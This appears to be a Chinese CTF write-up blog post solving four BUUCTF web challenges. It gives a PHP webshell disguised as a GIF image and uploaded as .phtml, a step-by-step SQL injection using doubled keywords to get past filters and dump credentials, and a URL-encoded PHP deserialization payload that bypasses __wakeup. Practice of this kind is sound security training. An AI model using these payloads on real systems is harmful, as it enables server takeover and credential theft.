BUUCTF-web新手进阶(二)

[极客大挑战 2019]Upload

先随便上传个图片马试试

不让有<?那就换成js标签形式的

GIF89a    //jpg图片的文件头

<script language="php">eval($_POST[1]);</script>

上传成功了,但是没有显示路径,一般上传路径都是相对路径upload/或者uoloads/,这里访问upload/1.jpg成功,将1.jpg改成1.phtml,上传成功用蚁剑连接

[ACTF2020 新生赛]Upload

随便传个图片马,显示路径了,

 和上题一样的方法,传.phtml文件名,连蚁剑

[极客大挑战 2019]BabySQL

万能密码1'or 1='1报错了1=’1‘有语法错误,应该是or被过滤了,双写绕过

username=admin&password=1'oorr 1='1

然后就是常规sql注入流程,by也被过滤,一样双写,查到4报错,那就是三个字段

username=admin&password=1'oorrder+bbyy+4#

 

查响应

username=admin&password=1'ununionion seselectlect 1,2,3#

查表

username=admin&password=1'ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

 查列名

username=admin&password=1'ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

最后

username=admin&password=1'ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom b4bsl#

[极客大挑战 2019]PHP

这是一个反序列化的题

提示有备份文件的习惯,那就是说有源码的备份文件,访问www.zip得到源码

常用备份文件名
index.phps
index.php.swp
index.phps
www.zip

index.php接受select参数并反序列化

解题的关键是绕过__wakeup()魔术方法

__wakeup()在unserialize()之前执行,当表示属性数量的值大于真实属性数量,造成绕过wakeup
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}    //这是正常字符串
O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;}    //类名后面的2改成3,由于只提供了两个属性,造成绕过__wakeup()

因为private序列化会产生不可见字符,最好将序列化字符串进行url编码再输出 

select=O%3a4%3a%22Name%22%3a3%3a%7bs%3a14%3a%22%00Name%00username%22%3bs%3a5%3a%22admin%22%3bs%3a14%3a%22%00Name%00password%22%3bi%3a100%3b%7d

  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值